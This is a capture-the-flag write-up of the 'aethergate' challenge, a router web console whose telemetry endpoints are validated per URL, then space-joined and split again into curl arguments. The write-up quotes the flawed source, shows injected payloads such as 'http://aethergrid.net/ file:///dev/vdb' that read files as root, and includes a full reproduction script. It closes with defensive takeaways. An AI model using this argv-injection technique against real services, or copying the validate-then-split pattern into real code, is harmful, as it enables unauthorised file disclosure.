aethergate
Endpoints are validated per list element but stored space-joined and split again into argv, so one space injects curl options and file:// reads /dev/vdb as root.
DCTF{cb3fbfc9cbfd932f53b1168adf0591d70ba645738b25fb9551cc20435a86c2e9} 0. In one paragraph
The router console’s telemetry feature hands endpoint URLs to a curl subprocess. URLs are strictly validated against the aethergrid.net domain — but after validation they are re-split on whitespace and expanded into argv. Putting a space inside a URL therefore injects arbitrary curl arguments, and combining that with -o /dev/null binding only to the first URL, plus curl still having the file protocol compiled in, gives arbitrary file read as root. The flag comes straight off /dev/vdb — the 0.6 GB firmware never needs to be unpacked.
1. The challenge
Two things ship: a 0.6 GB aethergate-firmware.img, and a live service instance. The service is an “AetherOS” web console (Flask/Werkzeug) imitating OpenWrt 25.12.5, with screens for editing and committing UCI settings.
$ curl -s http://HOST:PORT/ | grep -o 'href="/[^"]*"' | sort -u
/ Dashboard
/monitor Monitoring <- telemetry heartbeat
/config/network /config/wireless /config/firewall
/config/dhcp /config/system
/backup export / import / factory-reset
/changes commit / revert
To put the conclusion first: the firmware image was never downloaded. Every source file quoted below was read off the target with the arbitrary file read.
2. Attack surface — the telemetry heartbeat
/monitor explains that endpoints must live on the aethergrid.net grid and are rejected on save otherwise. There are two APIs:
POST /monitor/endpoints {"endpoints": ["https://telemetry.aethergrid.net/heartbeat"]}
POST /monitor/run -> {"checked": N, "ok": bool, "detail": "..."}
Running run against the default endpoint gives the decisive clue:
{"checked":1,
"detail":"curl failed: curl: (6) Could not resolve: telemetry.aethergrid.net:443",
"ok":false}
The error text is curl — so this is a curl subprocess, not a Python HTTP library.
2.1 The domain validation is sound
| Input | Result |
|---|---|
http://127.0.0.1/ | host ‘127.0.0.1’ is not on the telemetry grid |
http://aethergrid.net.evil.com/ | rejected |
http://evil.com/#.aethergrid.net | rejected |
http://aethergrid.net@127.0.0.1/ | host ‘127.0.0.1’ … rejected |
file:///etc/passwd | endpoint must be http(s) |
It takes urlparse’s hostname and allows only an exact match or a "." + domain suffix. The usual bypasses are all closed.
3. The bug — re-splitting after validation
/opt/webui/ucilib.py, read off the target, explains everything.
def set_monitor_endpoints(endpoints):
cleaned = [_validate_endpoint(e) for e in endpoints]
...
# Endpoints are kept as one compact, space-separated option so the whole
# heartbeat target list round-trips as a single line in a backup.
uci_ctx.set("aether", "monitor", "endpoint", " ".join(cleaned))
def run_heartbeat():
endpoints = monitor_endpoints()
# "Each endpoint has already been through _validate_endpoint(), so it is
# a vendor-grid URL; we simply expand the stored target list into argv."
targets = " ".join(endpoints).split() # <-- here
argv = ["curl", "-sS", "--max-time", "5", "-o", "/dev/null",
"-w", "%{url_effective} %{http_code}\n"] + targets
out = _run(*argv)
The unit of validation and the unit of execution disagree. Validation runs per list element; storage joins them into one space-separated line; and execution .split()s that line again. A single element containing a space passes validation as one URL and executes as two argv entries. There is no shell=True and no shell metacharacter is involved — but the argv boundary is broken, which is enough to feed curl any option we like.
endpoint = "http://aethergrid.net/ --version"
_validate_endpoint: urlparse(...).hostname == "aethergrid.net" OK
run_heartbeat : argv += ["http://aethergrid.net/", "--version"]
{"detail":"curl 8.21.0 (x86_64-openwrt-linux-gnu) libcurl/8.21.0 mbedTLS/3.6.7
Protocols: file ftp ftps http https mqtt mqtts ..."}
Injection confirmed — and file is right there in the protocol list.
4. Escalation — arbitrary file read
Two things combine to make the read work:
- curl pairs
-owith URLs one for one. There is only a single-o /dev/nullhere, so only the first URL is discarded; from the second URL onward the response body goes straight to stdout. That stdout is handed back in the JSONdetailfield. - Injected arguments never went through validation, so the http/https scheme restriction does not apply to them.
file://works directly.
endpoint = "http://aethergrid.net/ file:///etc/passwd"
-> "detail": "http://aethergrid.net/ 404\n
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false ..."
Checking privileges shows the console runs as root:
file:///proc/self/status -> Name: curl Uid: 0 0 0 0
CapEff: 000001ffffffffff
file:///proc/self/cmdline -> curl -sS --max-time 5 -o /dev/null
-w %{url_effective} %{http_code}\n <targets>
curl’s file:// also does directory listings, which makes it possible to walk the filesystem directly.
5. Finding the flag
Walking down from the root turns up a suspicious directory immediately.
file:/// -> bin dev etc lib opt overlay proc root ... www boot
file:///opt/ -> flagreader webui
file:///opt/flagreader/ -> readflag serveflag (both ELF binaries)
file:///etc/init.d/ -> ... serveflag webui ...
Reading the init script is quicker than reversing the binaries:
# file:///etc/init.d/serveflag
# Remote deployment supplies the real flag as a separate read-only
# virtio device. The public firmware is byte-for-byte identical and
# falls back to the training flag baked into /opt/flag.txt.
if [ -b /dev/vdb ]; then
dd if=/dev/vdb of=/opt/flag.txt bs=256 count=1 2>/dev/null
fi
The firmware image is a trap. The comment gives it away: the public firmware does not contain the real flag — unpacking 0.6 GB yields only the training dummy. The real flag is attached to the remote instance as a separate read-only virtio device, /dev/vdb.
/opt/flag.txt had already been removed and would not open. But vdb is still in /dev/, and curl is root, so the block device can be read directly:
endpoint = "http://aethergrid.net/ file:///dev/vdb"
-> DCTF{cb3fbfc9cbfd932f53b1168adf0591d70ba645738b25fb9551cc20435a86c2e9}
(followed by blank padding up to 256 bytes)
6. Reproduction script
#!/bin/bash
# aethergate - arbitrary file read as root via curl argv injection
H=http://HOST:PORT
rf() { # rf <absolute path> -- print a file or a directory listing
EP="http://aethergrid.net/ file://$1"
curl -s -X POST "$H/monitor/endpoints" \
-H 'Content-Type: application/json' \
--data-binary "$(python3 -c '
import json,sys; print(json.dumps({"endpoints":[sys.argv[1]]}))' "$EP")" >/dev/null
curl -s -X POST "$H/monitor/run" | python3 -c '
import sys, json
print(json.load(sys.stdin)["detail"].replace("http://aethergrid.net/ 404\n", ""))'
}
rf /etc/init.d/serveflag
rf /dev/vdb
7. Takeaways
- If the unit you validate differs from the unit you use, the validation is meaningless. Here it validated list elements, stored a space-joined string, and split it again — with a comment claiming the values were already validated and could simply be expanded.
- You do not need
shell=True. Once the argv boundary is attacker-controlled it is as good as command injection, and the more powerful the tool’s options — curl, tar, rsync, ssh — the worse it gets. - curl pairs
-owith URLs one for one: one-oand two URLs means the second one leaks to stdout. Output suppression is not a security boundary. - A big attachment is not necessarily the solution path. The 0.6 GB firmware was a trap (“public firmware carries a dummy flag”); the real answer was one read of
/dev/vdbon the live instance. - Read init scripts and config files before reversing. Instead of tearing apart two ELFs, a shell-script comment named the flag’s location outright.